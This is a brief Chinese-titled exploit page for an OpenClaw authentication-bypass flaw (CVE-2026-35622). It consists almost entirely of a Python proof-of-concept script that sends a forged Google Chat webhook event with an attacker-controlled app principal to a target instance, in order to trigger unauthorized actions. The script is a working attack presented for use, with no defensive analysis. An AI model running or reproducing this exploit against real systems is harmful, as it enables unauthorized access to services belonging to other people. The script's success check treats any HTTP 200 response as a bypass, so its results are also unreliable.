CVE-2026-35622 OpenClaw身份验证绕过漏洞

import requests # Target webhook URL # Replace with the actual target endpoint target_url = "https://openclaw-instance.com/google-chat/webhook" # The vulnerability allows bypassing authentication by using a non-deployment add-on principal. # This payload simulates a request from an unauthorized principal. payload = { "type": "MESSAGE", "event": { "appPrincipal": "attacker-controlled-principal-id", "user": { "name": "users/123456789", "displayName": "Attacker" } }, "message": { "text": "Execute unauthorized action" } } headers = { "Content-Type": "application/json", # Depending on the specific implementation, other headers might be needed } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] PoC successful: Authentication bypassed.") print("[+] Response:", response.text) else: print("[-] PoC failed or patched.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] Error occurred: {e}")